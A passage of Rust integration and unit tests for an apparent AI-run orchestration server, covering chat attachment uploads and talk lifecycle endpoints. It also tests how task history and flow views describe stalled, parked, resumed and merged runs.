15773 .await;
15774 assert_eq!(
15775 big.status,
15776 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15777 "{}",
15778 big.body
15779 );
15780 }
15781
15782 #[tokio::test]
15783 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15784 let f = Fixture::start().await;
15785 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15786
15787 let res = f
15790 .post_bytes(
15791 &format!("/api/talks/{id}/attachments"),
15792 &[("Content-Type", "image/png")],
15793 b"<html>not a picture</html>",
15794 )
15795 .await;
15796 assert!((400..500).contains(&res.status), "{}", res.body);
15797 }
15798
15799 #[tokio::test]
15800 async fn an_unknown_attachment_id_is_a_404() {
15801 let f = Fixture::start().await;
15802 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15803
15804 let res = f
15805 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15806 .await;
15807 assert_eq!(res.status, 404, "{}", res.body);
15808 }
15809
15810 #[tokio::test]
15811 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15812 let f = Fixture::start().await;
15813 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15814
15815 let uploaded = f
15816 .post_bytes(
15817 &format!("/api/talks/{id}/attachments"),
15818 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15819 PNG_BYTES,
15820 )
15821 .await;
15822 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15823 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15824
15825 let res = f
15826 .post(
15827 &format!("/api/talks/{id}/say"),
15828 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15829 )
15830 .await;
15831 assert_eq!(res.status, 202, "{}", res.body);
15832 let queued = res.json();
15833 let turns = queued["turns"].as_array().expect("turns array");
15834 assert_eq!(
15835 turns.len(),
15836 1,
15837 "an empty body with an attachment is still a turn: {queued}"
15838 );
15839 assert_eq!(turns[0]["who"], "operator");
15840 assert_eq!(turns[0]["body"], "");
15841 let atts = turns[0]["attachments"]
15842 .as_array()
15843 .expect("attachments array");
15844 assert_eq!(atts.len(), 1);
15845 assert_eq!(atts[0]["id"], att_id);
15846 assert_eq!(atts[0]["mime"], "image/png");
15847
15848 let on_disk = f.talks().get(&id).expect("get");
15851 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15852 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15853 }
15854
15855 #[tokio::test]
15856 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15857 let f = Fixture::start().await;
15858 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15859
15860 let res = f
15861 .post(
15862 &format!("/api/talks/{id}/say"),
15863 Some(&format!(
15864 r#"{{"text":"hi","attachments":["{}"]}}"#,
15865 "a".repeat(32)
15866 )),
15867 )
15868 .await;
15869 assert!((400..500).contains(&res.status), "{}", res.body);
15870 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15871
15872 let on_disk = f.talks().get(&id).expect("get");
15873 assert!(
15874 on_disk.turns.is_empty(),
15875 "a rejected attachment id must not partially record the turn: {:?}",
15876 on_disk.turns
15877 );
15878 }
15879
15880 #[tokio::test]
15881 async fn talk_close_makes_the_talk_refuse_further_turns() {
15882 let f = Fixture::start().await;
15883 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15884
15885 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15886 assert_eq!(closed.status, 200, "{}", closed.body);
15887 assert_eq!(closed.json()["status"], "closed");
15888
15889 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15891 assert_eq!(closed_again.status, 200);
15892 assert_eq!(closed_again.json()["status"], "closed");
15893
15894 let said = f
15895 .post(
15896 &format!("/api/talks/{id}/say"),
15897 Some(r#"{"text":"too late"}"#),
15898 )
15899 .await;
15900 assert_eq!(said.status, 409, "{}", said.body);
15901 }
15902
15903 #[tokio::test]
15904 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15905 let (_tmp, _repo, f) = talk_fixture().await;
15906 let id = f.post("/api/talks", None).await.json()["id"]
15907 .as_str()
15908 .expect("id")
15909 .to_owned();
15910 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15911 assert_eq!(closed.status, 200, "{}", closed.body);
15912
15913 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15914 assert_eq!(reopened.status, 200, "{}", reopened.body);
15915 assert_eq!(reopened.json()["status"], "open");
15916
15917 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15919 assert_eq!(reopened_again.status, 200);
15920 assert_eq!(reopened_again.json()["status"], "open");
15921
15922 let said = f
15923 .post(
15924 &format!("/api/talks/{id}/say"),
15925 Some(r#"{"text":"still there?"}"#),
15926 )
15927 .await;
15928 assert_eq!(
15929 said.status, 202,
15930 "a reopened talk accepts turns again: {}",
15931 said.body
15932 );
15933 }
15934
15935 #[tokio::test]
15936 async fn talk_reopen_on_an_unknown_id_is_404() {
15937 let f = Fixture::start().await;
15938 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15939 assert_eq!(res.status, 404, "{}", res.body);
15940 }
15941
15942 #[tokio::test]
15943 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15944 let f = Fixture::start().await;
15945 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15946
15947 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15948 assert_eq!(deleted.status, 204, "{}", deleted.body);
15949
15950 let after = f.get(&format!("/api/talks/{id}")).await;
15951 assert_eq!(after.status, 404, "{}", after.body);
15952
15953 let listed = f.get("/api/talks").await.json();
15954 assert!(
15955 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15956 "a deleted talk must not linger in the list: {listed}"
15957 );
15958 }
15959
15960 #[tokio::test]
15961 async fn talk_delete_on_an_unknown_id_is_404() {
15962 let f = Fixture::start().await;
15963 let res = f.delete("/api/talks/nonexistent-id").await;
15964 assert_eq!(res.status, 404, "{}", res.body);
15965 }
15966
15967 #[tokio::test]
15971 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15972 let f = Fixture::start().await;
15973 let (a, b, gone) = (
15974 "20260902-140501-aaaa",
15975 "20260902-140502-bbbb",
15976 "20260902-140503-cccc",
15977 );
15978 write_run(&f.runs(), a, RunStatus::Stalled);
15979 let mut review = RunState::new(
15980 PathBuf::from("/repo/magi"),
15981 "main".to_owned(),
15982 "0123456789abcdef".to_owned(),
15983 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15984 .to_owned(),
15985 Config::default(),
15986 );
15987 review.id = b.to_owned();
15988 review.status = RunStatus::Merged;
15989 write_state(&f.runs(), &review);
15990
15991 let mut task = Task::new(
15992 "retry".to_owned(),
15993 "Do the thing".to_owned(),
15994 PathBuf::from("/repo/magi"),
15995 Source::Human,
15996 );
15997 task.start(a.to_owned());
15998 task.stall("quota");
15999 task.start(a.to_owned());
16000 task.start(b.to_owned());
16001 task.start(gone.to_owned());
16002 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16004 f.queue().put(&mut task).expect("file the task");
16005
16006 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16007 assert_eq!(res.status, 200, "{}", res.body);
16008 let v = res.json();
16009 let h = v["history"].as_array().expect("history");
16010 assert_eq!(h.len(), 4, "{v}");
16011 assert_eq!(h[0]["kind"], "competition");
16012 assert_eq!(h[0]["status"], "stalled");
16013 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16014 assert_eq!(h[1]["kind"], "resume", "{v}");
16015 assert!(
16016 h[0]["outcome"]
16017 .as_str()
16018 .unwrap()
16019 .contains("unknown. Pass #2"),
16020 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16021 );
16022 assert!(
16023 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16024 "{v}"
16025 );
16026 assert!(
16027 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16028 "an unrecorded cause must not be narrated as an operator park: {v}"
16029 );
16030 assert_eq!(h[2]["kind"], "review");
16031 assert!(
16032 h[2]["description"]
16033 .as_str()
16034 .unwrap()
16035 .contains("magi/aaaa/A")
16036 );
16037 assert_eq!(h[2]["status"], "merged");
16038 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16039 assert_eq!(v["runs_unreadable"], 1);
16040 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16041 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16042 assert_eq!(nodes[4]["note"], "unreadable");
16043 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16044 assert_eq!(v["instruction"], "Do the thing");
16045 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16046
16047 let run = f.get(&format!("/api/runs/{a}")).await.json();
16049 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16050
16051 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16052 }
16053
16054 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16055 let mut s = RunState::new(
16056 PathBuf::from("/repo/magi"),
16057 "main".to_owned(),
16058 "0123456789abcdef".to_owned(),
16059 "Do it".to_owned(),
16060 Config::default(),
16061 );
16062 s.status = status;
16063 edit(&mut s);
16064 s
16065 }
16066
16067 fn flow_task(runs: &[&str]) -> Task {
16068 let mut t = Task::new(
16069 "t".to_owned(),
16070 "Do it".to_owned(),
16071 PathBuf::from("/repo/magi"),
16072 Source::Human,
16073 );
16074 for r in runs {
16075 t.start((*r).to_owned());
16076 }
16077 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16079 t
16080 }
16081
16082 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16083 let h = task_history(task, |id| {
16084 states
16085 .iter()
16086 .find(|(i, _)| *i == id)
16087 .and_then(|(_, s)| s.clone())
16088 });
16089 task_flow(task, &h, 5, None)
16090 }
16091
16092 #[test]
16093 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16094 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16095 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16096 let first = "2026-10-10T02:00:00Z".parse().unwrap();
16097 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16098 let held = "2026-10-10T04:00:00Z".parse().unwrap();
16099 let run = flow_run(RunStatus::Implementing, |s| {
16100 s.created_at = created;
16101 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16102 s.passes[0].started_at = first;
16103 s.passes[1].started_at = resumed;
16104 });
16105 let mut task = flow_task(&[RUN_X, RUN_X]);
16106 task.created_at = queued;
16107 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16108 task.status = TaskStatus::Held;
16109 task.held_at = Some(held);
16110 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16111 assert_eq!(
16112 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16113 vec![Some(queued), Some(first), Some(resumed), Some(held)]
16114 );
16115 assert!(flow.nodes.iter().all(|n| n.time_expected));
16116 let json = serde_json::to_value(&flow).unwrap();
16117 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16118 assert_eq!(json["nodes"][2]["time_expected"], true);
16119 }
16120
16121 #[test]
16122 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16123 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16124 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16125 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16126 task.held_at = Some(created);
16128 task.blocked_at = Some(created);
16129 for status in [
16130 TaskStatus::Queued,
16131 TaskStatus::Running,
16132 TaskStatus::Blocked,
16133 TaskStatus::Done,
16134 TaskStatus::Failed,
16135 TaskStatus::Parked,
16136 TaskStatus::Held,
16137 ] {
16138 task.status = status;
16139 if status == TaskStatus::Held {
16140 task.held_at = None;
16141 }
16142 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16143 assert_eq!(flow.nodes[1].started_at, Some(created));
16144 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16145 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16146 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16147 let json = serde_json::to_value(&flow).unwrap();
16148 assert!(json["nodes"][3]["started_at"].is_null());
16149 assert_eq!(json["nodes"][3]["time_expected"], true);
16150 }
16151 }
16152
16153 #[test]
16154 fn flow_context_links_do_not_expect_start_times() {
16155 let mut task = flow_task(&[]);
16156 task.source = Source::Agent {
16157 run: "chat-id".to_owned(),
16158 node: "chat".to_owned(),
16159 };
16160 let origin = followup_origin(&fu(None), |_| None, |_| None);
16161 let flow = task_flow(&task, &[], 5, Some(&origin));
16162 for node in &flow.nodes[..2] {
16163 assert!(!node.time_expected);
16164 assert_eq!(node.started_at, None);
16165 }
16166 assert!(flow.nodes[2].time_expected);
16167 }
16168
16169 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16170 crate::queue::FollowUp {
16171 run: "20260901-000000-aaaa".to_owned(),
16172 origin_task: origin_task.map(str::to_owned),
16173 pr: "https://example.com/o/r/pull/1".to_owned(),
16174 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16175 .map(str::to_owned)
16176 .to_vec(),
16177 generation: 1,
16178 }
16179 }
16180
16181 fn parent_task() -> Task {
16182 let mut p = flow_task(&[]);
16183 p.title = "Parent title".to_owned();
16184 p.status = TaskStatus::Done;
16185 p
16186 }
16187
16188 #[test]
16189 fn flow_opens_with_the_parent_task_of_a_followup() {
16190 let p = parent_task();
16191 let pid = p.id.clone();
16192 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16193 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16194 let n = &f.nodes[0];
16195 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16196 assert_eq!(
16197 n.label,
16198 format!("Follow-up of {}", crate::queue::short(&pid))
16199 );
16200 assert_eq!(n.detail.as_deref(), Some("Parent title"));
16201 assert_eq!(n.status, Some("done"));
16202 assert_eq!(n.status_of, "task");
16203 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16204 assert_eq!(f.nodes[1].key, "start");
16205 assert_eq!(f.edges[0].from, "origin");
16206 assert_eq!(
16207 f.edges[0].label,
16208 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16209 );
16210 }
16211
16212 #[test]
16213 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16214 let o = followup_origin(
16215 &fu(Some("gone")),
16216 |_| None,
16217 |_| {
16218 Some(RunState::new(
16219 std::path::PathBuf::from("."),
16220 "main".to_owned(),
16221 "0".to_owned(),
16222 "t".to_owned(),
16223 crate::config::Config::default(),
16224 ))
16225 },
16226 );
16227 assert!(o.parent.is_none());
16228 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16229 let n = &f.nodes[0];
16230 assert_eq!(n.status_of, "run");
16231 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16232 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16233 }
16234
16235 #[test]
16236 fn flow_followup_with_nothing_readable_has_no_link() {
16237 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16238 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16239 let n = &f.nodes[0];
16240 assert_eq!(n.href, None);
16241 assert_eq!(n.note, Some("unreadable"));
16242 assert!(!n.readable);
16243 }
16244
16245 #[test]
16246 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16247 let o = followup_origin(&fu(None), |_| None, |_| None);
16248 let mut t = flow_task(&[]);
16249 t.origin_chat = Some("c1".to_owned());
16250 let f = task_flow(&t, &[], 5, Some(&o));
16251 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16252 t.source = Source::Agent {
16253 run: "c1".to_owned(),
16254 node: crate::queue::CHAT_NODE.to_owned(),
16255 };
16256 let f = task_flow(&t, &[], 5, Some(&o));
16257 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16258 assert_eq!(
16259 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16260 ("chat", "origin")
16261 );
16262 }
16263
16264 #[test]
16265 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16266 let mut p = parent_task();
16267 p.id = "a b/c".to_owned();
16268 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16269 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16270 }
16271
16272 #[test]
16273 fn flow_opens_with_the_chat_that_queued_the_task() {
16274 let mut t = flow_task(&[]);
16275 t.source = Source::Agent {
16276 run: "a b/c".to_owned(),
16277 node: crate::queue::CHAT_NODE.to_owned(),
16278 };
16279 let f = flow_for(&t, &[]);
16280 assert_eq!(f.nodes[0].key, "chat");
16281 assert_eq!(f.nodes[0].kind, "chat");
16282 assert_eq!(
16283 f.nodes[0].label,
16284 format!("Chat {}", crate::queue::short("a b/c"))
16285 );
16286 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16287 assert_eq!(f.nodes[1].key, "start");
16288 assert_eq!(
16289 f.edges[0],
16290 FlowEdge {
16291 from: "chat".to_owned(),
16292 to: "start".to_owned(),
16293 label: "queued from chat".to_owned(),
16294 attempt: AttemptCost::None,
16295 }
16296 );
16297 }
16298
16299 #[test]
16300 fn flow_has_no_chat_box_for_other_sources() {
16301 for source in [
16302 Source::Human,
16303 Source::Issue {
16304 number: 3,
16305 repo: "o/r".to_owned(),
16306 },
16307 Source::Agent {
16308 run: "20260904-014455-ab12".to_owned(),
16309 node: "implement".to_owned(),
16310 },
16311 ] {
16312 let mut t = flow_task(&[]);
16313 t.source = source;
16314 let f = flow_for(&t, &[]);
16315 assert_eq!(f.nodes[0].key, "start");
16316 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16317 assert!(f.edges.iter().all(|e| e.from != "chat"));
16318 }
16319 }
16320
16321 const FA: &str = "20260902-140501-aaaa";
16322 const FB: &str = "20260902-140502-bbbb";
16323
16324 #[test]
16325 fn flow_follows_blocked_retry_merged_to_done() {
16326 let mut t = flow_task(&[FA, FB]);
16327 t.status = TaskStatus::Done;
16328 let f = flow_for(
16329 &t,
16330 &[
16331 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16332 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16333 ],
16334 );
16335 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16336 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16337 assert_eq!(f.edges.len(), 3);
16338 assert_eq!(f.edges[0].label, "claimed");
16339 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16340 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16341 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16342 assert_eq!(
16343 f.nodes[2].href.as_deref(),
16344 Some("#/runs/20260902-140502-bbbb")
16345 );
16346 assert!(f.nodes[2].decided);
16347 }
16348
16349 #[test]
16350 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16351 let quota = || {
16352 flow_run(RunStatus::Stalled, |s| {
16353 s.quota.push(crate::run::QuotaLoss {
16354 cause: crate::agent::QuotaCause::UsageLimit,
16355 agent: String::new(),
16356 seat: "judge-1".to_owned(),
16357 node: "judge".to_owned(),
16358 at: Timestamp::now(),
16359 reset: None,
16360 })
16361 })
16362 };
16363 let mut t = flow_task(&[FA, FA]);
16364 t.status = TaskStatus::Queued;
16365 let f = flow_for(&t, &[(FA, Some(quota()))]);
16366 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16367 assert_eq!(f.nodes[1].note, Some("interrupted"));
16368 assert_eq!(
16369 f.nodes[1].status, None,
16370 "no outcome copied onto an earlier pass"
16371 );
16372 assert_eq!(
16373 f.edges[1].attempt,
16374 AttemptCost::Unknown,
16375 "a resume does not prove the earlier pass was refunded"
16376 );
16377 assert!(f.edges[1].label.contains("resume the same run"));
16378 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16379 assert_eq!(
16380 f.edges[2].label,
16381 "stalled after a resume, refund unknown \u{2192} queued"
16382 );
16383 assert!(!f.nodes[2].decided, "a stall is not a decision");
16384 assert_eq!(f.nodes[2].note, Some("no verdict"));
16385 }
16386
16387 #[test]
16388 fn flow_single_pass_quota_stall_is_refunded() {
16389 let t = flow_task(&[FA]);
16390 let f = flow_for(
16391 &t,
16392 &[(
16393 FA,
16394 Some(flow_run(RunStatus::Stalled, |s| {
16395 s.quota.push(crate::run::QuotaLoss {
16396 cause: crate::agent::QuotaCause::UsageLimit,
16397 agent: String::new(),
16398 seat: "judge-1".to_owned(),
16399 node: "judge".to_owned(),
16400 at: Timestamp::now(),
16401 reset: None,
16402 })
16403 })),
16404 )],
16405 );
16406 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16407 }
16408
16409 #[test]
16410 fn flow_parked_refunds_and_stall_without_quota_spends() {
16411 let mut t = flow_task(&[FA]);
16412 t.status = TaskStatus::Queued;
16413 let f = flow_for(
16414 &t,
16415 &[(
16416 FA,
16417 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16418 )],
16419 );
16420 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16421 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16422 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16423 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16424 assert!(!f.nodes[1].decided);
16425 }
16426
16427 #[test]
16428 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16429 let t = flow_task(&[FA, FB]);
16430 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16431 assert_eq!(f.nodes[1].note, Some("unreadable"));
16432 assert!(!f.nodes[1].readable);
16433 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16434 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16435 }
16436
16437 #[test]
16438 fn flow_names_the_branch_of_a_review_only_run() {
16439 let t = flow_task(&[FA]);
16440 let f = flow_for(
16441 &t,
16442 &[(
16443 FA,
16444 Some(flow_run(RunStatus::Merged, |s| {
16445 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16446 })),
16447 )],
16448 );
16449 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16450 assert_eq!(
16451 f.nodes[1].detail.as_deref(),
16452 Some("review-only run of branch magi/x/A")
16453 );
16454 }
16455
16456 #[test]
16457 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16458 let mut t = flow_task(&[FA]);
16459 t.status = TaskStatus::Held;
16460 let pr = crate::run::PrRecord {
16461 url: "https://example.test/pr/1".to_owned(),
16462 number: 1,
16463 state: "open".to_owned(),
16464 checks: "green".to_owned(),
16465 round: 0,
16466 rounds: 3,
16467 red_at_merge: Vec::new(),
16468 };
16469 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16470 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16471 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16472 t.status = TaskStatus::Done;
16473 let f = flow_for(&t, &[(FA, Some(blocked))]);
16474 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16475 }
16476
16477 #[test]
16478 fn flow_with_no_runs_goes_from_queued_to_queued() {
16479 let t = flow_task(&[]);
16480 let f = flow_for(&t, &[]);
16481 assert_eq!(f.nodes.len(), 2);
16482 assert_eq!(f.edges.len(), 1);
16483 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16484 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16485 }
16486
16487 #[test]
16490 fn a_parked_non_terminal_run_is_explained_as_parked() {
16491 let mut s = RunState::new(
16492 PathBuf::from("/repo/magi"),
16493 "main".to_owned(),
16494 "0123456789abcdef".to_owned(),
16495 "Do it".to_owned(),
16496 Config::default(),
16497 );
16498 s.status = RunStatus::Implementing;
16499 s.parked = true;
16500 let task = Task::new(
16501 "t".to_owned(),
16502 "Do it".to_owned(),
16503 PathBuf::from("/repo/magi"),
16504 Source::Human,
16505 );
16506 let v = task_run_view(
16507 "20260902-140501-aaaa",
16508 Some(&s),
16509 RunSlot {
16510 n: 1,
16511 resumed: false,
16512 resumed_later: None,
16513 prior: None,
16514 last: true,
16515 ..RunSlot::default()
16516 },
16517 &task,
16518 );
16519 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16520 }
16521
16522 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16523 let mut s = flow_run(RunStatus::Implementing, edit);
16524 s.parked = false;
16525 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16526 task_run_view(
16527 "20260902-140501-aaaa",
16528 Some(&s),
16529 RunSlot {
16530 n: 1,
16531 resumed: false,
16532 resumed_later: Some(2),
16533 prior: None,
16534 last: false,
16535 ..RunSlot::default()
16536 },
16537 &task,
16538 )
16539 }
16540
16541 #[test]
16542 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16543 let v = earlier_pass_view(|_| {});
16544 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16545 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16546 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16547 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16548 assert_eq!(v.exit, RunExit::Interrupted);
16549 assert_eq!(v.attempt, AttemptCost::Unknown);
16550 }
16551
16552 #[test]
16553 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16554 let v = earlier_pass_view(|s| {
16555 s.quota.push(crate::run::QuotaLoss {
16556 cause: crate::agent::QuotaCause::UsageLimit,
16557 agent: String::new(),
16558 seat: "judge-1".to_owned(),
16559 node: "judge".to_owned(),
16560 at: Timestamp::now(),
16561 reset: None,
16562 });
16563 });
16564 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16565 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16566 assert_eq!(v.attempt, AttemptCost::Unknown);
16567 }
16568
16569 #[test]
16570 fn the_current_pass_states_its_recorded_cause_and_cost() {
16571 let slot = || RunSlot {
16572 n: 1,
16573 resumed: false,
16574 resumed_later: None,
16575 prior: None,
16576 last: true,
16577 ..RunSlot::default()
16578 };
16579 let task = flow_task(&["20260902-140501-aaaa"]);
16580 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16581 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16582 assert_eq!(
16583 (v.exit, v.attempt),
16584 (RunExit::Parked, AttemptCost::Refunded)
16585 );
16586 let spent = flow_run(RunStatus::Blocked, |_| {});
16587 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16588 assert_eq!(v.attempt, AttemptCost::Spent);
16589 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16590 }
16591
16592 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16593 crate::run::RunPass {
16594 index,
16595 started_at: Timestamp::now(),
16596 resumed: index > 0,
16597 ended_at: end.as_ref().map(|_| Timestamp::now()),
16598 end,
16599 task_entry: true,
16600 }
16601 }
16602
16603 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16604 Some(crate::run::PassEnd::Parked { cause })
16605 }
16606
16607 fn upgrade_cause() -> crate::run::ParkCause {
16608 crate::run::ParkCause::Upgrade {
16609 from: "0.121.0".to_owned(),
16610 to: Some("0.121.1".to_owned()),
16611 }
16612 }
16613
16614 fn settled_pass(
16615 run: &str,
16616 index: usize,
16617 cost: crate::queue::PassCost,
16618 ) -> crate::queue::TaskPass {
16619 crate::queue::TaskPass {
16620 run: run.to_owned(),
16621 pass_index: index,
16622 started_at: None,
16623 cost,
16624 attempts_after: 1,
16625 settled_at: Timestamp::now(),
16626 parked: None,
16627 }
16628 }
16629
16630 const RUN_X: &str = "20261011-223708-4334";
16631
16632 #[test]
16633 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16634 use crate::queue::PassCost;
16635 let run = flow_run(RunStatus::Implementing, |s| {
16636 s.passes = vec![
16637 recorded_pass(0, parked(upgrade_cause())),
16638 recorded_pass(1, None),
16639 ];
16640 });
16641 let mut task = flow_task(&[RUN_X, RUN_X]);
16642 task.attempts = 1;
16643 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16644 let h = task_history(&task, |_| Some(run.clone()));
16645 assert_eq!(h.len(), 2);
16646 assert_eq!(h[0].kind, "competition");
16647 assert_eq!(h[1].kind, "resume");
16648 assert_eq!(
16649 (h[0].exit, h[0].attempt),
16650 (RunExit::Parked, AttemptCost::Refunded)
16651 );
16652 assert!(
16653 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16654 "{}",
16655 h[0].outcome
16656 );
16657 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16658 assert!(
16659 h[0].outcome.contains("pass #2 resumed the same run"),
16660 "{}",
16661 h[0].outcome
16662 );
16663 assert!(
16664 h[0].outcome.contains("pass 1 of 2 over run"),
16665 "{}",
16666 h[0].outcome
16667 );
16668 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16669 assert_eq!(
16670 h[0].exit_label,
